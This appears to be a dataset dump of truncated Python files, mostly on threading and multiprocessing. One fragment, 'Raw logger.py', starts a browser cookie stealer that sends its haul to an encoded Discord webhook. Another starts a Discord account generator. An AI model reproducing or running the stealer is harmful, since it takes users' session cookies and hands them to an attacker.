source
stringlengths
3
86
python
stringlengths
75
1.04M
01_a3c_data.py
#!/usr/bin/env python3 import gym import ptan import numpy as np import argparse import collections from tensorboardX import SummaryWriter import torch import torch.nn.utils as nn_utils import torch.nn.functional as F import torch.optim as optim import torch.multiprocessing as mp from lib import common GAMMA = 0.99 ...
multiprocessor_helper.py
# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. # SPDX-License-Identifier: CC-BY-4.0 import traceback import logging try: import multiprocessing except ImportError: multiprocessing = None class MultiprocessHelper: """ An small framework for running heavy operations as multi-proc...
drop-graph.py
# Copyright 2019 Amazon.com, Inc. or its affiliates. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). # You may not use this file except in compliance with the License. # A copy of the License is located at # # http://aws.amazon.com/apache2.0/ # # or in the "license" file ac...
utils.py
import logging import sys import time import traceback from functools import wraps from multiprocessing import Process, Queue import numpy as np import pandas as pd from experiment_impact_tracker.data_utils import * from experiment_impact_tracker.data_utils import load_data_into_frame from experiment_impact_tracker.e...
test_socketserver.py
""" Test suite for socketserver. """ import contextlib import io import os import select import signal import socket import tempfile import threading import unittest import socketserver import test.support from test.support import reap_children, verbose from test.support import os_helper from test.s...
test_sockets.py
import platform import socket import sys import time from contextlib import suppress from threading import Thread, Event import pytest from anyio import ( create_task_group, connect_tcp, create_udp_socket, connect_unix, create_unix_listener, create_tcp_listener, wait_all_tasks_blocked, move_on_after, getaddri...
LinBus.py
from lin import PLinApi from ctypes import * from threading import Thread class LinMessage(object): def __init__(self): self.frameId = 0 self.protectedId = 0 self.payload = [0, 0, 0, 0, 0, 0, 0, 0] class LinBus(object): def __init__(self, baudrate): self.bus = PLinApi.PLi...
test.py
from PyQt5.QtCore import Qt, QSize, QSettings, QCoreApplication, QProcess, pyqtSignal, pyqtSlot from PyQt5.QtGui import QPalette, QColor, QFont, QFontDatabase, QIcon from PyQt5.QtWidgets import (QApplication, QWidget, QStackedWidget, QPushButton, QLineEdit, QTextEdit, QLabel, QListWidget, QHBoxLayout, QVBoxLayout,...
mpv_py.py
# -*- coding: utf-8 -*- # vim: ts=4 sw=4 et # # Python MPV library module # Copyright (C) 2017-2020 Sebastian Götte <code@jaseg.net> # # This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General # Public License as published by the Free Software Foundation, either...
VGA.py
import pygame import BinLib from PIL import Image import time from threading import Thread RAM = [33,34] # ## Command # ## Send and also ACK #[0000000000000000] # ##### X Pixel Address ##### Y Pixel Address # ## R # ## G # ##...
pyminer.py
#!/usr/bin/python # # Copyright (c) 2011 The Bitcoin developers # Distributed under the MIT/X11 software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # import time import json import pprint import hashlib import struct import re import base64 import httplib import...
holistic.py
#!/usr/bin/python3 # -*- coding: utf-8 -*- import sys import signal import threading import os import cv2 import v4l2 import fcntl from pathlib import * from math import * from PyQt5.QtWidgets import * from PyQt5.QtGui import * from PyQt5.QtCore import * import tensorflow as tf from tensorflow.keras import Model impo...
tea.py
# --------- std/extra libraries import requests import time import os import urllib import threading from datetime import datetime, timedelta, time as dtime # -------- project modules from bot.utils import is_available_command, command_takes_input, get_hint_message, get_command_handler, time_in_range from bot.db impor...
other-sites.py
''' NERYS a universal product monitor Current Module: Other Sites Usage: NERYS will monitor specified sites for keywords and sends a Discord alert when a page has a specified keyword. This can be used to monitor any site on a product release date to automatically detect when a product has been uploaded. Use...
orthoriboalgorithm.py
# orthoribalalgorithm.py # Determine Shine Dalgarno (SD) and Anti-Shine Dalgarno sequences for strains of bacteria to design orthogonal ribosomes # Rice University iGEM 2018 # Vu Hoang Anh and Sai Sriram # Correspondence: ss162@rice.edu; ahv1@rice.edu import threading import time import re import subprocess import os ...
app.py
#http://blog.miguelgrinberg.com/post/easy-websockets-with-flask-and-gevent from gevent import monkey # monkey.patch_all() import Tetris from threading import Thread from flask import Flask, render_template, session, request from flask.ext.socketio import SocketIO, emit, join_room, leave_room, \ close_room, discon...
_vis_base.py
import sys import threading import time import warnings from collections import namedtuple from contextlib import contextmanager from math import log10 from threading import Thread, Lock from typing import Tuple from phi import field from phi.field import SampledField, Scene from phi.math import Shape, EMPTY_SHAPE Co...
lab1.py
import socket import threading HOST = '' # ostaviti prazno kako bi primali poruke s bilo kojeg sučelja PORT = 55444 # sve aplikacije čekaju poruke na ovom portu IME = input("Vaše ime: ") poruka = "" def primi(HOST_IN, PORT_IN): with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s: # složiti osl...
ruuvi_rx.py
from datetime import datetime from multiprocessing import Manager from threading import Thread import time from concurrent.futures import ProcessPoolExecutor from rx.subjects import Subject from ruuvitag_sensor.ruuvi import RuuviTagSensor, RunFlag def _run_get_data_background(macs, queue, shared_data, bt_device): ...
db_hunts_test.py
#!/usr/bin/env python """Tests for the hunt database api.""" from __future__ import absolute_import from __future__ import division from __future__ import unicode_literals import itertools import threading from grr_response_core.lib import rdfvalue from grr_response_core.lib.rdfvalues import client as rdf_client from...
__init__.py
from threading import Thread, Event from functools import wraps from time import sleep def run_as_thread(func): """ Decorator for making a function run as a new thread :param func: the function to run :return: the resulting thread object """ @wraps(func) def thread_func(*args, **kwargs): ...
server.py
import socket # intelrealsense驱动库 import pyrealsense2 as rs import numpy as np import cv2 import json import png import datetime import os import struct import time from socket import gethostbyname, gethostname from threading import Lock, Thread socket.setdefaulttimeout(10) # 请求头数据 pipeline = None STORE_PATH = './img...
tests.py
import os import re import tempfile import threading import unittest from pathlib import Path from sqlite3 import dbapi2 from unittest import mock from django.core.exceptions import ImproperlyConfigured from django.db import NotSupportedError, connection, transaction from django.db.models import Aggregate, Avg, CharFi...
server.py
#!/usr/bin/env python from __future__ import unicode_literals import configargparse import sys from config.config import statusCode,benchmark_types, language_supported, file_location import config.bleu_results as bleu_results import tools.sp_enc_dec as sp import ancillary_functions_anuvaad.ancillary_functions as ancill...
test_postgresql.py
import mock # for the mock.call method, importing it without a namespace breaks python3 import os import psutil import psycopg2 import re import subprocess import time from mock import Mock, MagicMock, PropertyMock, patch, mock_open from patroni.async_executor import CriticalTask from patroni.dcs import Cluster, Clus...
DWX_ZeroMQ_Connector_v2_0_1_RC8.py
# -*- coding: utf-8 -*- """ DWX_ZeroMQ_Connector_v2_0_1_RC8.py -- @author: Darwinex Labs (www.darwinex.com) Copyright (c) 2017-2019, Darwinex. All rights reserved. Licensed under the BSD 3-Clause License, you may not use this file except in compliance with the License. ...
tracts_numba.py
#import threading import multiprocessing as mp import time import Trekker import numpy as np import os import vtk import pickle import threading import numba as nb """ Thread to update the coordinates with the fiducial points co-registration method while the Navigation Button is pressed. Sleep function in run meth...
httpserver_mt.py
# HTTP Server: Responds to GET requests by fetching from the origin server # if it is not found in the cache. # imports import socket import urlparse import os import sys import threading import Queue import subprocess import time import errno # imports for testing import urllib2 # Constants ORIGIN_PORT = 8080 CRLF ...
schedule002thread.py
from threading import Thread from apscheduler.schedulers.background import BackgroundScheduler import time # scheduler = BackgroundScheduler() # # # def job1(): # print("%s: 执行任务" % time.asctime()) # # # scheduler.add_job(job1, 'interval', seconds=3, max_instances=5) # scheduler.start() # # while True: # time...
hikvision.py
""" pyhik.hikvision ~~~~~~~~~~~~~~~~~~~~ Provides api for Hikvision events Copyright (c) 2016-2019 John Mihalic <https://github.com/mezz64> Licensed under the MIT license. Based on the following api documentation: System: http://oversea-download.hikvision.com/uploadfile/Leaflet/ISAPI/HIKVISION%20ISAPI_2.0-IPMD%20Servi...
udp.py
import socket import struct import threading import visualizer udp_ip = "" udp_port_pose = 2001 udp_port_chap = 2002 visualizer = visualizer.Vis() def hex_to_float(hex): """Converts a hex string to float""" return struct.unpack('!f', str(hex).decode('hex'))[0] def convert_to_matrix44(m): return [ ...
main.py
# -*- coding: utf-8 -*- import sys import pyvisa as visa import spd1000_series as _spd import re import threading import time try: from queue import Queue, Empty except ImportError: from Queue import Queue, Empty # python 2.x from PyQt5.QtWidgets import ( QApplication, QMainWindow, QMessageBox ) from Py...
screen_diff.py
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
test_InfoExtractor.py
#!/usr/bin/env python from __future__ import unicode_literals # Allow direct execution import io import os import sys import unittest sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from test.helper import FakeYDL, expect_dict, expect_value, http_server_port from youtube_dl.compat imp...
main.py
import time import random from threading import Thread def random_delay(): return random.random()*5 def random_countdown(): return random.randrange(5) def launch_rocket(delay, countdown, num): time.sleep(delay) for tick in reversed(range(countdown)): print(f"{tick+1}...") time.slee...
epinano_rms.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys,os,re,io,pysam import shutil, fileinput import glob, itertools import subprocess import argparse import multiprocessing as mp from multiprocessing import Process, Manager from functools import partial from sys import __stdout__ import dask import dask.dataframe a...
validation.py
# Copyright (c) 2019 Graphcore Ltd. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable l...
server.py
# Python packages from _socket import SHUT_RDWR import socket import struct import time import timer try: # Python 3 import socketserver except ImportError: # Python 2 import SocketServer as socketserver import threading # Third-party packages # Modules from this project import globals as G from savingsyste...
MessageServer.py
#!/usr/bin/python # -*- coding: utf-8 -*- ''' Copyright (C) 2011 cmikula In case of reuse of this source code please do not remove this copyright. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Fou...
application.py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
test_signal.py
import os import random import signal import socket import statistics import subprocess import sys import threading import time import unittest from test import support from test.support.script_helper import assert_python_ok, spawn_python try: import _testcapi except ImportError: _testcapi = None class Generi...
nvcsirestcam.py
# # REST API for access to selected GPIO pins # # Written by Glen Darling, February 2019. # import fcntl from flask import Flask from flask import send_file import glob import json import os import queue import select import subprocess import sys import threading import threading import time # REST API details REST_A...
run_exp.py
########################################################## # pytorch-kaldi v.0.1 # Mirco Ravanelli, Titouan Parcollet # Mila, University of Montreal # October 2018 ########################################################## from __future__ import print_function import os import ...
search_index.py
''' @Description: Update index for search function @Author: Tianyi Lu @Date: 2019-07-05 14:57:18 @LastEditTime: 2019-07-07 17:54:23 @LastEditors: Tianyi Lu ''' from flask import current_app from threading import Thread from app import search from .models import User, Post, Group def update_index(option): app = c...
active_learning_topk_ttts.py
import pathlib from multiprocessing import Lock, Process, JoinableQueue from tqdm import tqdm from utils import * OUTPUT_DIR = RESULTS_DIR + "active_learning_topk" logger = logging.getLogger(__name__) process_lock = Lock() def main_accuracy_topk(args: argparse.Namespace, sample=True, eval=True, plot=True) -> None...
run-experiment-osm.py
# import wrappers # make method which does the following, take mano as parameter # get start time # sleep 5 min # get NS instantiation time # send instantiation request to osm/sonata from wrappers import OSMClient import time import json import requests from urllib.request import urlopen import csv import os import d...
Raw logger.py
import browser_cookie3, requests, threading import base64 import time import os from discord_webhook import DiscordWebhook, DiscordEmbed key = "ENCODED BASE32 HOOK HEREEEE" weblook = base64.b32decode(key) webhookl = DiscordWebhook(url=weblook, , username="CookieRiver") def edge_logger(): try: cookies ...
downloader.py
""" homeassistant.components.downloader ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Provides functionality to download files. For more details about this component, please refer to the documentation at https://home-assistant.io/components/downloader/ """ import os import logging import re import threading from homeassistant....
winpty.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may ...
stream.py
#!/usr/bin/env python3 import serial import time import threading RX_BUFFER_LINES = 10 VERBOSE = True class FakeSerial: def __init__(self, port, speed): pass def write(self, text): pass def readline(self): return "" def flushInput(self): pass # debug line # serial.Ser...
win32eventreactor.py
# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ A win32event based implementation of the Twisted main loop. This requires pywin32 (formerly win32all) or ActivePython to be installed. To install the event loop (and you should do this before any connections, listeners or connectors are add...
naoqibag.py
import qi import argparse import sys import time import threading import os import functools from naoqi import ALProxy import Image # Bag format # 0: SPQReL # 1: CSV typed bag_format = 1 # data read from files keys_list = [] shortnames_list = [] types_list = [] TOUCHXKEY = 'Tablet/TouchX' TOUCHYKEY = 'Tablet/TouchY...
bgm.py
import os import socket import threading import json import queue import time import subprocess import requests import hashlib import random import re import shutil from mutagen.mp3 import MP3 ROOT_PATH = os.path.dirname(os.path.abspath(__file__)) + '/' class Player(object): _playlist = queue.Queue(100) _pl...
capture.py
# # Copyright (c) 2019, Manfred Constapel # This file is licensed under the terms of the MIT license. # # # abstract capture support # import sys, threading, json, queue # ------------------------------------------------ def update_data(q): while True: line = sys.stdin.readline() try: ...
system_helper.py
""" Copyright 2020 Sensetime X-lab. All Rights Reserved """ import os import socket import time import uuid from typing import Optional, Any from threading import Thread from contextlib import closing MANAGER_NODE_TABLE = { '10.198.8': '10.198.8.31', '10.198.6': '10.198.6.31', '10.5.38': '10.5.38.31', ...
server.py
# Date: 06/01/2018 # Author: Pure-L0G1C # Description: Server import ssl import socket from os import path from lib import const from time import sleep from queue import Queue from OpenSSL import crypto from random import SystemRandom from threading import Thread, RLock from . lib import session, shell, i...
example3-daemon.py
import threading import time def worker(threadName, delay, n): threadName = threading.current_thread().name print(threadName, 'Starting') for counter in range(1, n+1): time.sleep(delay) print("{}: {}/{} - {}".format(threadName, counter, n, time.ctime(time.time()))) numbers.append("...
celery_mng.py
import os import subprocess import sys import time from logger_manager import window_live_logger, log_file_window from loguru import logger from PyQt5 import QtCore from queue import Queue from threading import Thread CELERY_LOG_NAME = "celery_log.log" ON_POSIX = 'posix' in sys.builtin_module_names class CeleryMana...
cluster_3_test.py
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by app...
HttpPyHost.py
import socket import sys import threading import queue import time import datetime import multiprocessing import os import json from typing import Any, cast class Contants: _splitCr = '\r' _splitNewLine = '\n' _splitQuery = '?' _splitAnd = '&' _splitEqual = '=' _splitSpeace = ' ' _splitSlas...
parallelEnv.py
# taken from openai/baseline # with minor edits # see https://github.com/openai/baselines/baselines/common/vec_env/subproc_vec_env.py # import numpy as np import gym from multiprocessing import Process, Pipe from abc import ABC, abstractmethod class CloudpickleWrapper(object): """ Uses cloudpickle to seriali...
client.py
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import json import websocket import threading from parlai.core.params import ParlaiParser from parlai.scripts.interactiv...
single_thread.py
# coding: utf-8 # 顺序执行的单线程(single_thread.py) #! /usr/bin/python from threading import Thread import time def my_counter(): i = 0 for _ in range(100000000): i = i + 1 return True def main(): thread_array = {} start_time = time.time() for tid in range(200): t = Thread(target=...
manager.py
#!/usr/bin/env python3 import os import time import sys import fcntl import errno import signal import shutil import subprocess import datetime import textwrap from typing import Dict, List from selfdrive.swaglog import cloudlog, add_logentries_handler from common.basedir import BASEDIR, PARAMS #from common.android imp...
modbusgwtcp.py
#! /usr/bin/python3 # # @(!--#) @(#) modbusgwtcp.py, version 006, 08-july-2018 # # modbus gateway over TCP for a TP-Link HS100/HS110 Smart WiFi Plug # # Links # # https://www.softscheck.com/en/reverse-engineering-tp-link-hs110/ # https://github.com/softScheck/tplink-smartplug # https://github.com/softScheck/tp...
test_search.py
import time import pdb import copy import threading import logging from multiprocessing import Pool, Process import pytest import numpy as np from milvus import DataType from utils import * from constants import * uid = "test_search" nq = 1 epsilon = 0.001 field_name = default_float_vec_field_name binary_field_name =...
data_loading.py
# coding=utf-8 # Copyright 2022 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
client.py
import socket from threading import Thread, Lock from json import dumps as dictToJson from json import loads as jsonToDict from json.decoder import JSONDecodeError from .engine_commons import encodeImg, generateSocket ################# ### CONSTANTS ### ################# from .constants import ACK, NEWLINE, IMG_MSG_S...
_read_some_but_not_all_responses_test.py
# Copyright 2016, Google Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the f...
MockHttpServer.py
import socket import threading import logging from pprint import pprint from MockHttpRequest import MockHttpRequest #from MockHttpResponse import MockHttpResponse # from fileType import dealFile class MockHttpServer: BUFFER_SIZE = 1024 # 1 KiB #HOST = 'localhost' def __init__(self, port=8080, d="."): self.port...
cgatt.py
import logging import re import threading from time import sleep import gatt from pylgbst.comms import Connection, LEGO_MOVE_HUB from pylgbst.constants import MOVE_HUB_HW_UUID_SERV, MOVE_HUB_HW_UUID_CHAR, MOVE_HUB_HARDWARE_HANDLE from pylgbst.utilities import str2hex log = logging.getLogger('comms-gatt') class Cus...
raspiComms.py
"""Communicate from server to client side.""" import socket import sys import threading import queue from RaspiGlobals import GLOBALS send = queue.Queue() threads = [] stop_events = [] # Change IP addresses for a production or development environment if ((len(sys.argv) > 1) and (sys.argv[1] == "--dev")): ipSend =...
test_util_test.py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
camera.py
#!/usr/bin/env python3 import argparse import threading import json import sys import os import logging import logging import coloredlogs import calendar from datetime import datetime, timedelta import signal import random import time import re import errno import paho.mqtt.client as mqtt from json.decoder import J...
client_engine.py
# Copyright (c) 2021-2022, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by ...
run.py
#!/usr/bin/env python # -*- coding: utf-8 -*- """ xcp_abcd preprocessing workflow ===== """ import os import re from pathlib import Path import logging import sys import gc import uuid import warnings from argparse import ArgumentParser from argparse import ArgumentDefaultsHelpFormatter from multiprocessing import cp...
docserver.py
# ----------------------------------------------------------------------------- # Copyright (c) 2012 - 2022, Anaconda, Inc., and Bokeh Contributors. # All rights reserved. # # The full license is in the file LICENSE.txt, distributed with this software. # -----------------------------------------------------------------...
gui.py
#!/usr/bin/env python # Columbia Engineering # MECS 4603 - Fall 2017 import math import numpy import time import threading import matplotlib.cm as cm import matplotlib.pyplot as plt import matplotlib.path as mpath import matplotlib.patches as mpatches import rospy from std_msgs.msg import Int8 from std_msgs.msg imp...
process.py
""" Utility class for spawning and controlling CLI processes. See: http://stackoverflow.com/questions/375427/non-blocking-read-on-a-subprocess-pipe-in-python """ import sys, time from subprocess import PIPE, Popen from threading import Thread try: from Queue import Queue, Empty except ImportError: from queue...
websocket.py
""" @author: rakeshr """ """ Websocket client that streams data of all strikes contract for requested option symbol """ import logging, time from multiprocessing import Process, Queue from kiteconnect import KiteTicker from optionchain_stream.instrument_file import InstrumentMaster class WebsocketClient: def _...
discordgenerator.py
import undetected_chromedriver as uc uc.install() import os import time import requests import random import string import sys import threading import datetime import re from bs4 import BeautifulSoup from selenium import webdriver from selenium.common.exceptions import TimeoutException from selenium.common.exceptions...
build.py
## @file # build a platform or a module # # Copyright (c) 2014, Hewlett-Packard Development Company, L.P.<BR> # Copyright (c) 2007 - 2021, Intel Corporation. All rights reserved.<BR> # Copyright (c) 2018, Hewlett Packard Enterprise Development, L.P.<BR> # Copyright (c) 2020, ARM Limited. All rights reserved.<...
FuzzingInTheLarge.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # "Fuzzing in the Large" - a chapter of "The Fuzzing Book" # Web site: https://www.fuzzingbook.org/html/FuzzingInTheLarge.html # Last change: 2022-01-23 18:04:28+01:00 # # Copyright (c) 2021 CISPA Helmholtz Center for Information Security # Copyright (c) 2018-2020 Saarlan...
cloud_api.py
###This will hold all api calls for TrafficCloud import os import requests from requests_toolbelt import MultipartEncoder from app_config import AppConfig as ac from app_config import get_project_path from threading import Timer import numpy as np from multiprocess import Process, Queue from Queue import Empty as Empt...
processes.py
import atexit import heapq import time from io import StringIO from queue import Empty as QueueEmpty from queue import Queue from threading import Thread from plumbum.lib import IS_WIN32 # =================================================================================================== # utility functions # ======...
service.py
#!/usr/bin/env python3 # SPDX-License-Identifier: BSD-3-Clause # Copyright(C) 2020-2022 Intel Corporation # Authors: # Hector Blanco Alcaine import array import os import signal import socket import socketserver import stat import sys import threading from unittest import mock from .ipc_pb2 import StreamQosRequest...
zmq_driver.py
# Copyright 2018 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in wri...
driver_util.py
"""Scripts for drivers of Galaxy functional tests.""" import fcntl import logging import os import random import shutil import signal import socket import string import struct import subprocess import sys import tempfile import threading import time import nose.config import nose.core import nose.loader import nose.p...
02-olog_integration.py
from bluesky.callbacks.olog import logbook_cb_factory from functools import partial from pyOlog import SimpleOlogClient import queue import threading from warnings import warn import bluesky.callbacks.olog bluesky.callbacks.olog.TEMPLATES['long'] = """ {{- start.plan_name }} ['{{ start.uid[:6] }}'] (scan num: {{ start...
running_py.py
# -*- coding: utf-8 -*- """Code for maintaining the background process and for running user programs Commands get executed via shell, this way the command line in the shell becomes kind of title for the execution. """ from noval import GetApp,_ import os.path import subprocess import sys import traceback from noval...
compute.py
import copy from auditMeth import nameCheck from auditMeth import printColor import datetime import multiprocessing.dummy as mp from awsconnect import awsConnect as Connector import auditMeth import re #regx = {'api': {'rx': rs_2, 'owner': 'Brian'}, # 'lc': {'rx': rs_3, 'owner': 'Josh'}, 'asg': {'rx': rs...
speech_api.py
import json import os from math import ceil from threading import Thread import soundfile from flask_restx import Resource, Namespace, fields # https://flask-restx.readthedocs.io/en/latest/quickstart.html from core import sentence_segmenter from core.speech import Recognizer from db import DRVideoNotFound from db.fa...
CachedStemmer.py
from Sastrawize.Stemmer.Filter import TextNormalizer import multiprocessing import math class CachedStemmer(object): """description of class""" def __init__(self, cache, delegatedStemmer): self.cache = cache self.delegatedStemmer = delegatedStemmer def stem(self, text, thread_count...
channeltest.py
# Copyright (C) 2019-2021 The Xaya developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """ Integration tests running channel daemons in addition to Xaya Core on regtest and a GSP. """ from . import rpcbroadcast from xayag...
multi_value_demo.py
from multiprocessing.sharedctypes import Synchronized # type: ignore import time import multiprocessing as mp def server_app(shared_data: Synchronized) -> None: while True: time.sleep(5) with shared_data.get_lock(): shared_data.value = shared_data.value + 10 if __name__ == "__main__": ...
conditional_accumulator_test.py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
decorators.py
import time import threading def background(fun): """ Decorator to run a function in the background. Based on the implementation at https://amalgjose.com/2018/07/18/run-a-background-function-in-python/ """ def background_func(*args, **kwargs): threading.Thread(target=fun, args=args, kwargs=kwa...
pipe.py
import os import time import pickle from tqdm import tqdm from datetime import datetime from threading import Thread from multiprocessing import Queue, cpu_count from .stats import Stat from .processor import Processor from .chain import Chain class Pipe: """Base class for DSL""" def __init__(self, stat=Sta...
test__socket.py
from __future__ import print_function from __future__ import absolute_import from gevent import monkey # This line can be commented out so that most tests run with the # system socket for comparison. monkey.patch_all() import sys import array import socket import time import unittest from functools import wraps impo...
buffer_client.py
#! /usr/bin/python #*********************************************************** #* Software License Agreement (BSD License) #* #* Copyright (c) 2009, Willow Garage, Inc. #* All rights reserved. #* #* Redistribution and use in source and binary forms, with or without #* modification, are permitted provided that the ...